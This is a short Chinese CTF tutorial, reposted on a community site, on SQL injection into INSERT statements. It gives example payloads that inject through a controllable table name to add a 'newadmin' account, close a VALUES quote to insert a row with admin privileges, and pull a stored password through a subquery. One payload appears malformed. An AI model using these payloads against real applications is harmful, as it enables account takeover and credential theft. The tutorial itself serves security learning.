2021-07-08 CTFer成长之路-SQL注入-INSERT注入

举报
愚公搬代码 发表于 2021/10/19 22:40:17 2021/10/19
【摘要】 一:INSERT注入 1.注入点位于tbl_name 语句:INSERT into {$_GET['table']} values(2,2,2,2) 把密码查出来作为字段展示 http://192.1...

一:INSERT注入

1.注入点位于tbl_name
语句:INSERT into {$_GET['table']} values(2,2,2,2)
把密码查出来作为字段展示

http://192.168.20.132/insert.php?table=wp_user values(2'newadmin''newpass')#

  
 
  • 1

2.注入点位于VALUES
假设语句为

insert into wp_user values(11,’可控位置')

  
 
  • 1

此时可以闭合单引号,另行插入一条记录,通常管理员和普通用户在一个表,通过表字段来控制管理员权限

insert into wp_user values(1,0,'1'),(2,1,'aaa');

  
 
  • 1

如果用户表, 的第二个字段代表管理员权限识别,便能插入了,在某些情况下,我们也可以插入能回显的字段,来快速获取数据,我们假设 他最后一个可以进行输出

可以这样

insert into wp_user values(1,1,'1'),(2,2,(select pwd from wp_user limit 1 ));

  
 
  • 1

文章来源: codeboy.blog.csdn.net,作者:愚公搬代码,版权归原作者所有,如需转载,请联系作者。

原文链接:codeboy.blog.csdn.net/article/details/118568069

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。